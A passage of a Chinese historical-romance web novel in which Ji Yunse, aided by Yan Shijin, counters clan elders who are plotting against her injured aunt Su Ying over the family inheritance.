一行人到了主屋花厅,已经看见那儿坐着几个人,端坐上首的发须全白,定是苏氏的那位年纪最长的二老太爷,纪云瑟外祖的叔父,如今担着苏氏族长,但他年迈昏庸,对苏氏那几个大蠹虫向来听之任之。 另紧挨着他下手坐着的,是两个鬓发花白看着及近天命之年的男子,纪云瑟尚有几分印象,正是外祖的两个异母弟弟苏老四和老五,还有几个年轻男子站在一旁,皆是面色不善,还透着几分胜券在握的得意。 堆金做为苏滢身边的大管家,早已在那与几人周旋: “二小姐已经医治中,在她醒来之前,我不能私下做主将对牌给你们。” 苏老四冷哼一声: “若是她二丫头一直不醒,那咱们苏氏的那些铺子产业无人过问,岂不是任由下面的人糊弄?” 堆金道: “四爷此言差矣,苏氏的各处铺子皆是二小姐亲自选的得力掌柜的打理,他们素来忠心耿耿,不过是几日的工夫,出不了乱子。” 苏老五拍案而起: “放你娘的屁!那些产业是苏氏的,又不是她二丫头一个人的!” “我们还非得等她死了,才能挨着碰着?” 纪云瑟忍不住怒意,高声道: “究竟是谁,这么盼着二小姐出事?迫不及待地就想夺位篡权?” 众人回头,却见是一个明眸俏颜的少女,步履从容地走进厅堂,正要喝问她算个什么东西,待细看她的面容,又不由得惊了惊,分明有六七分已逝的苏家老大的影子。 “哪来的小丫头片子?” “这里有你说话的份儿?” 两个年轻男子先质问了过来。 纪云瑟强压怒火,先向几人依次行礼: “云瑟拜见太叔公,四叔公、五叔公。” 苏老四反应过来: “你是京城的那个小丫头?” “你…你不是已经死了?” 纪云瑟客气答道: “托几位长辈之福,当日大火我被人救下,辗转到了江州,遇到了姨母。” 这是晏时锦的说辞,她此刻正好用上了,总归回到京城之后,她就得“复生”,如今涉及姨母和苏氏产业,她更不能再躲。 苏老四冷笑一声: “那又如何?” “纵是你娘在世,她也是个出嫁女,管不了苏家的事,更何况是你?” 纪云瑟收起笑意,道: “姨母那儿,我已经请来了宫里的御医替她诊治,不日就会醒来。有她在,我自然不会插手苏家的生意。” “只是,我的人查到昨日的那匹疯马与二位有关,今日在太叔公面前,不知二位叔公有何解释?” 苏老四和苏老五二人对望了一眼,眸中异色一闪而过,厉声道: “你这丫头莫要血口喷人,什么疯马? 我们根本不知情!你若敢胡乱攀咬,小心我们对你不客气!” 纪云瑟早将二人眼中的一抹心虚尽收眼底,淡然道: “是否攀咬,查一查便知。若二位叔公问心无愧,可愿配合官府查明真相?” 苏老五面色不善: “你还报了官?” 苏老四拍拍苏老五的肩膀,二人交换了眼色,轻笑一声: “既然你有这心思,查一查也无妨,别让咱俩落下个陷害侄女的罪名。” “咱们哥俩活了大半辈子,连只活鸡都没杀过,这等罪名,担待不起!” 他随即吩咐道: “来人,去州府衙门请推官周大人来一趟。” 二人淡然坐在圈椅上,极是悠闲地喝着茶,似没有一点惧怕之色。 纪云瑟攥紧了拳头,她原本只想诈一诈二人,假称自己寻到了证据,让他们暂且放弃今日的逼难,待自己真正查到什么端倪,再想办法落实他们的谋害之罪,却不料,他们看起来,有十足的把握周全,心中骤然有些打鼓。 苏老四兄弟二人一把年纪,怎会被这小丫头的两句话吓到?他们祖辈都在扬州,自然与历任州府的官员都有交往。 特别是这些年,苏滢多半把精力放在了扬州之外的江州等地,他们兄弟二人手握当年苏老爷分下来的几间铺子,扎根扬州,与州府的各阶官员来往甚密,早已超过了多年不在扬州打点的苏滢。 故而,他们敢堂而皇之地找来推官,上门查这案子。 果然不出二人所料,纪云瑟让田管事去寻的那位苏滢曾经打点过的府衙知事,派人传话过来,说是要接待上峰,无暇过问闲杂之事。 倒是苏老三派人寻来的周姓推官在半个时辰后到了苏宅,一入内,便颇有几分不耐烦,道: “究竟有什么不得了的案子,需要请本官亲自上门?” 苏老四和苏老五陪笑行礼,请他坐在正中主位上后,纪云瑟咬了咬唇,福了一福率先开口: “禀大人,苏氏二小姐昨日被人谋害,深受重伤,至今昏迷不醒,还望大人做主。” 周姓推官不耐掀眸看过来,见是个年纪不大的小姑娘,冷声道: “若是要告人谋害,需得有证据。” “空口无凭随意攀咬,本官可定你的诬蔑之罪!” 纪云瑟强自镇定,吩咐田管事去把马带上来。 很快,绑住四肢的马被几个小厮抬至了花厅外的院子里,一同过来的还有破竹,他向纪云瑟点点头,纪云瑟向周姓推官行礼,道: “请大人移步,家中侍卫已经查清了马发狂的原因。” 周姓推官和苏老四几人对视了一眼,面色不善地依言起身,走下檐廊。 破竹上前将马首下的一簇鬃毛用刀刮净,指着赫然露出的一个针孔,道: “禀大人,此处,乃是被人用粗针将致幻药送入体内,故而导致马发狂撞人。” 苏老四率先道: “这算什么证据?” “要我说,不过是这马不知在哪儿扎了什么尖刺,非说是被人下药。” 纪云瑟指着针孔处明显更深的肤色,道: “若只是尖刺,没有药的话,此处的皮肤应该是带着血迹,而不是用药后的黑色。” 周姓推官明显已经不耐烦: “你们浪费本官这些时间,就给本官看这个?” “本官老眼昏花,什么异样都没瞧见。” 纪云瑟不甘心: “敢问大人,如此明显的印记,也算不得上有人蓄意谋害我姨母的证据么?” 苏老五嗤笑一声,故意道: “小丫头,我劝你少说两句,免得惹恼了官爷,把你先抓了进去,治你个扰乱属官之罪!” 几人目露轻蔑不屑,丝毫不把这个小丫头片子放在眼里,纪云瑟就是再蠢,也看出了那姓周的与他们分明是沆瀣一气,有意偏袒。 她正想再争取一番,却听见一个粗重浑厚的声音响起,语气极是肃戾: “好大的口气呐!” “本将倒是想看看,是谁能随意抓人治罪?” 只见一众卫兵疾步入院中,乌泱泱地站了两排,为首的中年男子身着银甲,剑眉髯须,阔步而来,眉宇间威严毕露,众人皆是一惊,纷纷退避至中间。 周姓推官先行反应过来,忙上前施礼: “不知总兵大人驾到,下官有失远迎。” 顿了顿,他挤出一抹笑,诧异道: “不知总兵大人为何突然到此?” 来人正是扬州总兵韩烈,他目光扫过众人,在纪云瑟身上停留了片刻,随即看向周姓推官,道: “苏府二小姐曾与本将约定,为卫所捐赠三个月的粮草,今日是履约之期,本将特地过来找苏二小姐,却不知几位在此喧哗争执,所谓何事?” 苏老四脸色微变,和苏老五面面相觑,周姓推官也带着几分责问地看向二人,苏老四只好微微摇头,表示他根本不知情,也从未听说苏滢何时与韩烈有什么来往。 毕竟各州卫所不归州府管辖,而是直属各省都指挥使司,韩烈做为总兵,并不买州府衙门的账。 若是苏滢真的与韩烈有约,那今日之事纵是找到知府,恐怕亦难以善了。苏老四兄弟不禁默默叫苦,暗骂那臭丫头竟然留了这一道后手。 纪云瑟见有所转机,立刻上前,道: “禀总兵大人,苏氏二小姐昨日被人谋害,至今昏迷不醒,民女正要因此向推官大人申诉冤情,请大人明察。” 说罢,将昨日之事详细复述了一遍,并为他指明了马身上的诡异针孔。 韩烈眸底逐渐阴郁: “在本将的眼皮子底下,还能发生这种事?” 他原本就身材高大,身为武将的气势更是不怒自威,一句疾厉的问话让一众人等皆噤若寒蝉,连大气也不敢出。 他目光冷冷扫过苏老四和苏老五,转向周姓推官: “这案子你们州府衙门能不能查?给本将一句准话!” “若是你们查不了,本将自会派人查实!” 周姓推官早变了脸,额上冒汗,忙不迭道: “能查,能查!下官定当竭尽全力,务必查明真相!” 韩烈冷哼一声,目光如刀: “如此最好,本将便静候佳音。若敢有半分懈怠,耽误了卫所过冬的军粮,休怪我不客气!” 周姓推官连连点头,苏老四兄弟和老太爷见此情形,面上虽不甘,但却不敢再言语。 韩烈看了几人一眼: “怎么,还不去?” 几人忙不迭应是,匆忙离开,韩烈还不忘派副将把马匹送到府衙,并吩咐他盯着推官大人办案,不能轻易放过任何线索。 纪云瑟终于松了一口气,正要朝韩烈施礼多谢他的援手,却见韩烈赶紧抱拳道: “万万不可!” “世子夫人折煞下官了!” 纪云瑟愣了愣,随即,看见一个熟悉的身影从韩烈身后的一排戍卫兵中走出,她尚未开口唤出来,他已向韩烈微微颔首,道: “有劳韩总兵。” “等我家世子醒来,定亲自向您道谢。” 韩烈客气道: “不敢不敢,指挥使大人该好好养伤才是!” 他向纪云瑟过问了苏滢的情况,并保证会密切关注案情进展后,带着两队戍卫兵离开。 男子瞧着有些呆愣着的少女,拉住了她的手: “怎么,看傻了,不认识我了?” 纪云瑟脱开他随意过来揽她腰的手,目光有几分耐人寻味: “你早就知道姨母出了事?” 男子身着戍卫服侍,却掩不住通身的矜贵,纪云瑟的目光直直落在他的隽目朗颜之上。 晏时锦无视她眸光中的质问,道: “如今不是计较这个的时候,先去看看你姨母的伤势。” 纪云瑟被他强行拉着手,堆金先观察了这年轻男子的气质举动,又见二人推拒拉扯的复杂神色,便大致猜到了他的身份,开口道: “小姑爷说得对,只要二小姐早些醒来,四爷和五爷他们就翻不起什么浪来。” 纪云瑟: “……” 整个苏宅被古木绿荫环绕,在夏日中十分凉爽,但也透着森寂。纪云瑟的手被晏时锦温热的掌心包裹,在经历了一番唇枪舌战之后,原本慌乱的心情,倒莫名觉得有了一丝暖意,安心不少。 苏滢的房中满是刺鼻的药味,沈绎已经将她头上各穴位的银针取下,纪云瑟着急上前,问道: “夫子,我姨母她情况如何?” 沈绎用袖口擦去额头上的汗粒,道: “二小姐无碍,只是瘀血还未完全消融,恐怕还要一两日才能醒。” “我用了一些芳香类的药材,以熏燃的方式从鼻腔闻入,有通窍醒神之效,或许能加快二小姐醒来。” 纪云瑟信他的医术,上前看着苏滢的面色似好了一些,唇色也不似之前的深紫,开始转红,终于放下心来。 沈绎又道: “我需再给她抓一副药,看看能不能喂下去,若是能加上内服,会更好一些。” 纪云瑟让田管事跟着一同去,想了想,又让堆金派了两个侍卫护着。 几人离去后,她叹了口气,堆金在旁劝道: “小小姐莫要担心,二小姐吉人天相,这些年什么风风雨雨都过来了,不会有事。” 纪云瑟却不禁一阵心疼, “你是说,姨母不是第一次这样受伤?” “为何不报官?” 堆金道: “不是二小姐不想,一则,他们每次做得谨慎,并没有留下什么把柄再则……” “今日的情形,小小姐您也瞧见了,四爷五爷他们别的不行,但挥霍银钱收买官爷最是拿手。况他们一直在扬州,又是男子,平日里多与衙门的官爷各处喝酒,二小姐身为女子,有些事,实在是做不来。” “这几年,二小姐决意要将生意做到江州等地,也是这个缘故,就是想躲开那几位。” “谁知四爷他们几个见二小姐愈发控制不了,便想了继嗣的主意。” “二小姐回扬州以来,这件事已经在宗祠议了好几回。” 堆金看了一眼静卧床榻上的自家小姐,深深叹气,若是前些年,苏滢并不会把那几个草包放在眼里,他们贪婪却自私,只能看见眼前的蝇头小利,各自为政,并不团结,偶尔作一作妖,却掀不起什么波浪。 却不料她不在扬州的时日,他们突然抱成了团,且近来愈发有齐心协力对付苏滢的迹象。 再有纪云瑟“假死”一事,苏滢亦没有生养的征兆,苏老四一伙人更加以此来要求苏滢认义子。 纪云瑟才刚听族长话里话外的意思,也明白了几分,问道: “姨母若是坚决不肯认义子,会如何?” 堆金一脸无奈: “若是二小姐没有亲生子,只能认养。” 如果要过继,必须优先从苏氏族中选适龄的子嗣,到时,苏老四几个从中作梗,定然会选到四房和五房的头上。 纪云瑟默了一瞬,道: “你这几日让人多上州府衙门走动走动,定要揪出谋害姨母之人,其他的事,我来想办法。” 堆金答应着,二人掀了珠帘出来,晏时锦正坐在堂屋饮茶,看了一眼心绪明显不佳的少女,起身过来劝慰道: “有沈绎在此,不必担心你姨母。” 田管事进来,道: “小小姐一路风尘,又累了这半日,您的屋子已收拾妥当,不如去歇息一会儿吧。” “老奴会着人给您把午膳送过去。” 堆金也道: “正是,二小姐的伤不是一两日的事,小小姐也需保重身子。” “至于这位公子……”田管事的目光看向了晏时锦, “是否需要老奴另外安排……” 堆金忙道: “这位是京城来的小姑爷。” 她跟着苏滢身边,早就听说了当日纪云瑟“假死”后,京城传来的消息,知道晏国公世子的一番悼念“亡妻”的操作,再听那位总兵大人对小小姐的称呼,和这两人至今还拉着分不开的手,顿时猜到了事情原委。 多半是那位世子大人在江州“偶遇”了“亡妻”,但见他在总兵面前并未亮明身份,堆金亦不能说破。 她一脸了然地吩咐田管事: “带小小姐和小姑爷一同去歇息吧!” 第88章 穿过几道月洞门和檐廊,几人行至一个幽静的院子,纪云瑟记得幼年时她亦是住在这儿,田管事见院子里的一池睡莲开得正艳,一下想起往事,不由笑道: “不知小小姐可还记得?” “当年您听二小姐说,那睡莲叶子上能躺个人不会沉,您一脚就踩了上去,谁知一下落入水中,害得二小姐被老爷狠狠教训了一顿。” 又笑着叹道: “说起二小姐,从前也是个够人缠的主儿。” 苏老夫人去世得早,苏老爷为了两个女儿不受委屈,没有续弦亦没有纳妾,一直由素来规行矩步的长女负责教导苏滢,后来长女出嫁,苏老爷亦忙于生意,虽请了几个女先生在家,但奈何苏滢是个乖觉不羁的性子,渐渐的愈发无法无天,家中无人能制挟。 直到年幼的纪云瑟被接过来,苏滢自觉担起照管陪伴之责,方收敛了些,渐渐的有个长辈的样子。 纪云瑟听他如此说,倒真想起了那一桩桩趣事,不由得也笑了出来,接口道: “可不是?” “我那些上树爬墙的本事,都是姨母教的。” 晏时锦侧头看了过来,颇有几分诧异: “你还会爬树?” 毕竟这姑娘会翻墙,他是见识过的。 纪云瑟直言道: “那次,姨母跟我说,隔壁秦家来了个长得特别好看的哥儿,偏拉着我爬到树上去偷瞧。” “多爬了几次,自然就会了。” 田管事看着她,笑道: “那是秦员外家的远房侄儿,一直养在乡下老宅,那年来扬州参加府试,老奴记得,那位哥儿天资不错,小小年纪,一举就中了秀才。” 纪云瑟一时来了兴趣,问道: “哦?那他后来可有继续科考?” “如今在哪儿了呢?” 田管事摇摇头,道: “老奴倒没听说,算起来那位哥儿比小小姐您稍微大两岁,如今至少也是个举人了,若是顺利的话,说不准赴京考上进士,做官了呢!” 纪云瑟看着院子里的几株垂柳,和一棵高大的枫树,想起了从前在这院子里跟着苏滢疯闹的一些趣事,霎时忘掉了眼前的愁绪,眉眼弯弯。 田管事送二人到了屋外,崇陶和效猗将要用的物什安置妥当,效猗正要问自家姑娘赶路许久,是否先要沐浴,冷不丁瞧见那位“姑爷”不明的眸色,把到嘴的话咽了回去,拉了拉正在整理拔步床的崇陶的衣襟,二人对视一番,交换了几个眼神后,悄然退下带上了门。 纪云瑟进来先自行到了一杯茶饮尽,见晏时锦已在案桌后的圈椅上坐下,便斟了一杯给他送过去, “你还没告诉我,你是何时知晓我姨母受伤的事?” “为何不知会我一声?” 她刚刚将茶碗搁在桌上,就被拉住了手腕,整个人转了个圈,跌在男子的怀中。 晏时锦箍着她侧坐在自己腿上: “你先跟我说一说,隔壁漂亮小哥儿的事。” “姓秦是么?” “是举人?还有可能中了进士,做了官?” “需不需要我替你查一查,此人如今在哪儿?” 男子的黑眸透着森冷,纪云瑟一阵无语,默默翻了两个白眼: “那是多少年前的事了?” “不过是今日听田管事提起才有几分印象,我如今连他的样貌都早已记不清。” “有什么好说的?” 况且,她如今哪有心情去回忆这个? 男子并不打算放过她,双手紧了紧: “为了他学会了爬树?” “没有翻墙么?” 这厮…… 有病吧? 陈芝麻烂谷子的事,也能酿成醋来吃? 纪云瑟一阵无语,但对上他审视的不善眸光,又不禁想笑,她眨了眨眼睛,幽幽道: “翻了。” “还扭了脚,那位俊俏哥儿把我抱入他的房中给我揉……” “唔……” 余下的话悉数被男子吞下,他发狠似的重重吮住,如一只大猫一般,揪住那只不听话,胆敢公然发起挑衅的小老鼠小惩大诫了一番,才松了唇舌,最后落了一道吻在那双狡黠的眼眸上。 男子抚过她潋滟泛着水光的唇瓣,道: “他若真碰过你,那手就是不打算要了!” 纪云瑟没好气地推开他,想从他身上起来,却被死死箍住,只得正色道: “我跟你说正事呢,你还没回答我!” 男子看向桌上的茶碗,努了努嘴,少女心中暗骂了他几句,端起送至他唇边。 晏时锦将茶水饮尽,方道: “我亦是今日下船后才听说了你姨母的事,我知道你定会让沈绎来诊治,便去戍卫营找了韩烈带兵来处理那几个草包。” “沈绎既说苏二小姐的伤势无碍,你不必担心。” 沈绎看诊,她自然放心。纪云瑟放下茶碗,恨恨道: “你能不能帮我查到伤姨母的罪魁祸首?” 晏时锦直言道: “一匹疯马,什么标记都没有,很难查到原主。” “况且,他们敢这么做,定不会留下什么痕迹。” 纪云瑟拧紧眉心: “那就这么算了?” 晏时锦神色轻松: “你若想的话,可以其人之道还治其人之身。” “只不过,你们苏氏长房的麻烦并不在于此。” 纪云瑟若有所悟,不错,她如今应该想的是,他们做这件事的最终目的。她看向晏时锦,虚心请教: “那你觉得,宗族逼姨母认子之事,该如何处理?” “律法对这些可有什么约定?” 她知道其中不少事涉及大缙的律法,自古以来,双亲已逝的家产全权落入独女手中的几率不多,多半最后会被族中的男子以各种理由强占。 她并未研习过律法中关于家产的承继有什么说法,不知道有什么法子能帮上姨母,只能问问这厮。 晏时锦自然是通熟律法: “依律,父母双亡,若独女在室,得全部家产;若不在室,得部分家产,其他由同宗过继子继承。” “但是,你姨母若日后没有子嗣,家产依旧要落入同宗之手,若是没有同宗,则收缴官府。” 见少女皱眉抿唇不语,晏时锦拢着她柔腻润滑的手,悠然道: “你若想彻底解决此事,确保日后都没有人敢对你姨母下手的话,有一个最简单的法子。” 纪云瑟顿时来了兴趣: “什么法子?” 少女的眼眸晶亮,一副求知若渴的模样,还刻意往他靠了靠,鲜嫩欲滴的红唇近在咫尺,晏时锦喉间滚动,唇角微勾: “持我的玉佩,在他们面前亮出你晏国公府世子夫人的身份。” 纪云瑟怔了怔,只需细思一瞬,就能想到这的确是最直接粗暴的法子,这个身份,别说是苏氏一族,就算是请来扬州知府亲临,断他们之间的官司,也要掂量几分,最终偏向哪一方显而易见。 而且,就四房、五房那些个欺软怕硬的草包,从前一个章齐侯府就能震慑他们好些年,更何况是威名在外的晏国公府世子,皇帝的亲外甥晏时锦。 但是…… 这不是她想要的结果。 纪云瑟眨了眨眼,双手搭上了他的双肩: “这样不好吧!” “若是,四叔公、五叔公他们日后告你一个以势欺压良民百姓的罪名,我怎么能连累你?” 男子眸光微动,猜到了几分这姑娘的心思: “你我本是夫妻,你又没做什么过分之事,怎么算是连累?” “你不过是说出事实而已。” 纪云瑟眼睫颤了颤,唇角弯出一抹笑: “除了用你的身份,定然还有别的法子。” “你教教我可好?” 男子眸中意味不明,似有些不解: “为何要舍近求远?” 少女的双手向他的脖颈靠近,在他后颈处相握: “自然是不想因苏氏的腌臜事坏了你的名声嘛!” 她实在是不想从今往后都顶着什么鬼世子夫人的身份招摇过市,而且,苏氏的产业之争不会是一日两日的事,以后她与这厮能同行多久并不可知,她得有一个彻底解决的法子,就算没有他晏国公世子的照拂,也能够解决苏家那些杂碎的法子。 她不想做那等着别人给她喂鱼之人,她得学会自己钓鱼。 晏时锦怎会瞧不出她在想什么,腾出一只手自斟了一杯茶,道: “没有别的法子。” 纪云瑟一个字也不信他,便松了手,道: “也罢,你不肯教我,那我去找愿意教我的人。” “想来想去,也就是沈夫子愿意无私地传授道理给我,他见多识广,亦通晓大缙律法,定知道怎么做。” 腰瞬间被箍得更紧,少女挣扎了片刻未果,瞧着男子黯下来的黑眸,换上一抹浅笑,一只手点在他蹙起的眉峰上,软下了音量: “别这样小气嘛!” “要么,我唤你一声‘老师’,你来教我?” 柔腻指尖滑过之处带起点点酥麻,晏时锦忍下微紧的喉间,抓住她的手,握在掌心,轻轻地摩挲着她的指节: “我不做你的老师。” “……想要我教你也无不可,但是……” “我怎知你若过了河,是不是就要拆了我这桥?” 这姑娘不想利用世子夫人的身份,明显是不想公然与他扯上关系,按她的行事作风,他能清楚地预见自己“狡兔死,走狗烹”的后果。 “哎呀!” 少女搂住他,撒娇似的晃了晃: “都不知道你在说什么。” “我都跟你回京城了,上哪儿拆桥去?” 幽香沁鼻,嫣红的唇瓣开合间,吐气如兰,晏时锦定了定神,沉默片刻,终是道: “或许有其他法子,但却繁琐,且耗时良久,我不能耽误回京城的行程。” “你只需告诉我,自然有人去办,又不需要你亲自出面,不会耽误。” 纪云瑟趁胜追击: “有什么法子?快说说看。” 晏时锦抚着她垂落耳侧的发丝,深深凝视她片刻后轻吐几个字: “离间计。” 纪云瑟眼眸一亮,瞬间明白: “你是说,瓦解四叔公和五叔公的合作,让他们生出嫌隙,狗咬狗?” 她细细思索,的确有道理,又问道: “具体应该怎么做?” 这姑娘确有几分聪明,晏时锦反问道: “你觉得呢?” “若是你会怎么做?” 纪云瑟想了想: “咱们假意与四叔公走得更近些,且放出话去,说姨母打算从四叔公家的孩子里选一个入嗣,至于日后苏氏的产业,也大多交给这孩子打理。” “如此一来,五叔公和其他几房就会对四叔公有猜疑之心,到时,我们就利用四叔公对付其他有觊觎之心的宗族,且以其他人不同意为由,一直拖着不给那孩子上族谱。” “待四叔公将其他几房都解决了,咱们再一心对付四叔公。” 她顿了顿,又细思一回,不由面露一丝沮丧: “可是,这样的确耗时良久。” “怕是会夜长梦多。” 晏时锦道: “想要快,自然也有快的法子。” 她虽聪明,但总归是个姑娘家,心思单纯。亦没有见识过真正的亲人之间争权夺利,想法太过温和。 纪云瑟看到了他眸光中的狠戾,心下一凛: “你是想……” 晏时锦将她的发丝绕在指尖,并不多言,只问道: “四房和五房,哪个好对付一些?” 纪云瑟想了想: “四叔公有主意,五叔公多半是跟在他身后附和。” 她突然灵机一动: “你的意思是,换一换?” “咱们先向五叔公示好?” “一则,五叔公没什么主见,容易被拉拢,二则,人狠话还多的四叔公被弃,会更快发起反击。” 说到此,纪云瑟兀自点了点头, “不错,据我了解,五叔公家的几个子嗣都是庸碌之辈,而四叔公这一房,却有两个精干之人。” 晏时锦捏了捏她的下巴: “孺子可教!” “不过……” 纪云瑟道: “不过什么?” 晏时锦带着深意地看了她一眼: “这样也不过是治标不治本而已。” “归根结底,你们苏氏的产业,最终还是要后继有人。” 纪云瑟张了张口,却又说不出反驳的话来。 他说得不错,若是外祖父这一脉没有承继的男子,他好不容易挣下的家业,恐怕最后还是要拱手让人。 除非,姨母找个赘婿,自己生孩子,或者如姨母一直催她 的那样…… 她看了一眼面前与她日日耳鬓厮磨的男子,抿唇不语。 晏时锦十分有耐心地拍了拍她的背: “不急,先把眼前的麻烦解决了,剩下的事,总有法子。” 他神色淡然,仿佛根本不把这些棘手之事放在眼里。 纪云瑟凝眸看了他一眼,心中计较着姨母所说那件事的可行性。却被男子往怀里拢了拢,细细端详了她片刻: “想什么呢?” “河还没过呢,此刻开始谋划拆桥的事,会不会太早了些?” 他顺手轻抚着少女垂落腰间的香囊穗子,神色平静。纪云瑟眨了眨眼,怔了一瞬,方明白他在说什么,讪讪笑道: “哪有嘛……” “我是在想,指挥使不愧是指挥使,当真是运筹帷幄,足智多谋呐!” 温热的气息一来一回,相互交融,旖旎蔓延的间隙,门外传来了崇陶的声音: “姑娘,该用午膳了。” 纪云瑟推着他要起身,却被男子抓住手腕不放,顺着腕骨向上拢住她滑腻的双臂: “称呼错了。” “该叫我什么?” 少女极不情愿: “世子……” “还是不对!” “再说错了,就要受罚。” 男子轻啄她的唇瓣,搭在腰间的手拐了个弯,探入峡谷,爬上峰顶。 少女咽下轻咛,立时去推他,羞恼道: “你做什么?” “青天白日的,她们都在外等着呢!” 但见男子倔强的神色,手上动作变本加厉,温唇还跟了过来,她没好气地轻捶了他一拳,低语道: “那该叫什么?” 晏时锦一只手抓住她的小粉拳,从唇缝出滑出几个字: “我喜欢‘冤家’!” 纪云瑟侧头,弓起身子躲开他的痴缠: “……你到底何时偷看了我的话本?” 男子毫不心虚地追了过来: “那不叫偷看。” “而是光明正大地学习。” “拜读之后,我收获良多,发现的确有许多值得借鉴之处。” “下次,我们可以一同探讨、研习。” 纪云瑟: “……” 纵是她再厚颜,也没办法接他的这番话。 纪云瑟看了一眼窗外的光影,罢了,她今日得了这厮的便宜,自然得卖个乖,况后续之事,她还得靠这厮摆平。 挣扎一番后,她收拢了衣裳,垂下眼睫,附在男子耳畔: “冤家,我肚子饿了,先吃东西可好?” 娇语入耳,男子的呼吸又沉了沉。 崇陶和效猗端着托盘在外等了两盏茶的功夫,才见自家姑娘顶着嫣红的双颊过来开门。 再看她微肿的双唇和有些皱乱的衣襟,二人终是不敢多言语,幸好天气热,饭菜并没有凉。搁下盘碟和碗筷后,她们脚不点地地迅速撤离。 上的都是纪云瑟自小爱吃的淮扬菜,有蟹粉狮子头和酿炙白鱼,若换了从前,该细细品味的,而她今日心中念着事,就有了几分完成任务似的仓促。 但是,吃饱餍足的男子却拿出了令人叹止的行动力。 次日,苏老四就得到了消息,苏滢依旧昏迷不醒,身边的大管家堆金要了五房两名男童的生辰八字,拿去比对。 可是,明明他们四房就有刚出生的一个男娃,若要继嗣,自然是优选三岁以下的孩童,越小越好。 而他们五房的,一个年满五岁,一个即将八岁,这样的年纪,如何能养得亲,确保没有异心? 根本不是最优的选择。 苏滢到底是什么意思? 结合这个侄女素来做事不循礼法旧章的性子,苏老四也能猜到几分,不过是忌惮他们四房有两个出众的男丁,不像五房一窝子废物,更好拿捏么! 苏老四不是忍气吞声的性子,当即登了五房的门。 苏老五面对质问,自觉没必要拐弯抹角,带着几分得意地直接承认了,又道: “四哥,您放心,不管她选哪一个,都是我的亲孙子,总归是站在咱们这边的。” 苏老四直言道: “难道,你没想过,她苏滢放着年幼的不挑,为何偏偏要选你这半大的?” 苏老五道: “自然是她伤势过重,等不及了呗!” 苏老四轻哧一声: “蠢材!” “分明是她故意为之,想让咱们离心!” 苏老五慢悠悠地饮了一口茶: “四哥这话实在是过虑,那丫头都躺着不省人事了,哪还有什么别的心思?” 苏老四道: “你那两个孙子的资质你自己不清楚么?” “老大到如今三字经都背不出来,老二还尿裤子,你说,苏滢为何选他们俩?” “就算他们其中哪个真过去了大房,苏滢又能真正把产业放心交付给他?” “我看,不过是拿捏你这傻子罢了!” 苏老五被胜利冲昏了头脑,此刻,哪能听得进去这等逆耳却又一点都不像忠言的话?冷笑一声: “四哥也犯不着指桑骂槐的!” “弟弟我是没您那样的谋略,所以苏滢那丫头也看在眼里,清楚从前的许多事就不是弟弟我做的。” 苏老四拍案而起: “你什么意思?” 苏老五拂了拂衣袖: “四哥您如此聪明,怎会听不懂我的话?” “您不就是怕大房的家产日后都到了我手里,您觉得我占了便宜,故意找我说这些话么?” 苏老四被他气得浑身发抖,指着苏老五怒道: “你这是以小人之心度君子之腹!我若真有此意,何必与你多费口舌?苏滢此举分明是挑拨离间,你却甘愿做她棋子!” 苏老五轻笑一声: “什么棋子不棋子的,只要东西最后在咱们的手里,谁还管她什么用心?” 见他这个兄长的确气得不轻,又轻声安抚道: “四哥息怒,我早就说过,若是我孙子入嗣,家产自然有您的一份,咱们自家兄弟,何必伤了和气,让人笑话?” 苏老四见他冥顽不灵,深知再争无益,冷哼一声,拂袖而去。 老五这人蠢笨自私,极度鼠目寸光不说,又将钱财之物看得颇重,若是他的孙子真的成为苏滢的义子,他苏老四恐怕连杯羹都分不到! 不行! 他不能坐视不管,苏滢的意图不明,必须另寻对策。 第89章 第二日傍晚,纪云瑟就听说了四房找上门和五房大闹了一场。 不仅如此,田管事来回话: “禀小小姐,四老爷今儿个一早,偷着去找了替咱们看八字的先生。” 纪云瑟眼睛一亮: “所以这个消息,五叔公已经知道了?” 田管事笑道: “不错,昨日五老爷来找老奴问话,老奴就特地提醒了,让他留意四老爷的动静,就知四老爷是否跟他是一条心。” 苏老五平日里脑子虽不灵光,但极其贪财,将黄白之物看得比命还重要,自送出两个孙子的生辰八字后,已经把大房的家产看作囊中之物,怎可能拱手让人? 而苏老四,又是个有几百个心眼子的吐信毒蛇。 看来这回,她的确选对了人。 纪云瑟道: “让那算命先生收了四房的银钱,就按四房给的话儿说。” “同时,也向其他几位外祖父的叔伯宗亲放出话去,就说五房的孩子极有可能与姨母八字不合,如今咱们的意思,是扩大范围来选。” 田管事应声,说道: “知府衙门派人来说要让府衙的大夫来看看二小姐的伤势,您看,什么时候方便些?” 纪云瑟想了想,道: “罢了,你去知府衙门报一声,把咱们告人谋害姨母的状子撤回。” “就说,苏氏不再追究。” 晏时锦所言不错,单凭一匹马,就算它身上有什么异样的伤口,也指证不了任何人,不如给他们释放一个信号,苏滢有意修复与几房关系的信号。 田管事刚要领命而去,又被纪云瑟叫住,略思一瞬,道: “至于韩总兵那边,你也好好交待一声,就说暂时不需 要他们插手此事,若是我有什么需求,会再找他。” “至于他说的三个月军粮,既然话已经放出,咱们苏氏也必然会做到,就当是感激戍卫营的出手相助。” 田管事答应着去了。 纪云瑟虽极不情愿跟晏时锦回京城,但时至今日也不得不承认,他是个极其聪明,才能出众之人。 永安帝信任重用他,绝不仅仅只因他皇帝外甥和国公世子的身份,而确因他着实博学多才,有着过人的谋略,能在复杂的局势中清醒地看透本质,且深谙人心,行事果断,绝不拖泥带水。 得出这种感叹之后,纪云瑟的心又凉了几分,十分懊恼当日自不量力,竟然敢去招惹他,如今,她倒成了困于他掌心的雀儿,逃脱不得。 纪云瑟行至苏滢的院子,沈绎刚刚给她做完一轮针灸,纪云瑟见姨母的面色明显红润许多,双唇亦褪去了黑紫,心中大石也放了下来,向沈绎深深行了个礼: “夫子救命之恩,我都不知该如何……” 沈绎虚扶了她一把: “你我之间,无须如此客气。” 纪云瑟看了一眼苏滢,问道: “姨母何时能醒?” 沈绎道: “原本淤血除去就该醒的,但我猜测,是二小姐常年劳累休息不足,如今大脑受伤,会无意识地自我保护,进入深层的睡眠之中。” “从脉象上来看,没有任何异常,大约等她睡够了,自然就会醒。” 纪云瑟微微叹气,沈绎宽慰她,道: “若是二小姐愿意服药,我可以给她开一副调养的方子,平日服用。” 纪云瑟点头道: “多谢夫子。” 又见他眼中多了不少红血丝,眼下也有些乌青,便道: “夫子这几日守着姨母辛苦了,您也去好好歇息吧。” “这里,我让积玉看着就好。” 二人步出房外,沈绎看了她一眼,道: “听说,你已经在苏氏族人面前承认了身份?” 纪云瑟点点头,抿了抿唇,不无歉疚道: “让夫子白替我费心了。” “害您去官离开京城,漂泊至此。” 